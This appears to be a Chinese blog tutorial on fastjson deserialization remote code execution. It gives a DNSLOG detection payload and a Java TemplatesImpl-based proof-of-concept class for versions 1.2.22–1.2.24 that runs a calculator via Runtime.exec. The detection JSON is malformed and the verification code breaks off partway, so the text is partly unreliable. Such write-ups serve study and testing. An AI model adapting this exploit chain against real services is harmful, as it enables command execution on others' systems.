前言:
如何判断后端是否采用了fastjson框架:
一方面是通过json解析异常抛出,另一方面可以通过DNSLOG判断:
poc:
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}


0x00 环境快速搭建
maven仓库https://mvnrepository.com/artifact/com.alibaba/fastjson,每个版本都有
直接导入对应漏洞版本即可

0x01 1.2.22~1.2.24
参考廖师傅的文章,写的比较好,点这里,传送门
利用链:com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
POC.test
package com.test.fast;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class POC extends AbstractTranslet {
public POC() throws IOException {
Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
public static void main(String[] args) throws Exception {
new POC();
}
}
验证:
package com.test.fast;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.io.IOUtils;
public class test {
public test() {
}
public static void main(String[] args) {

本文深入探讨FastJSON框架的远程代码执行(RCE)漏洞,包括漏洞触发机制、利用链分析及环境搭建。从JSON解析异常到DNSLOG判断,详细解析了1.2.22~1.2.24版本中com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类的利用方式。


被折叠的 条评论
为什么被折叠?



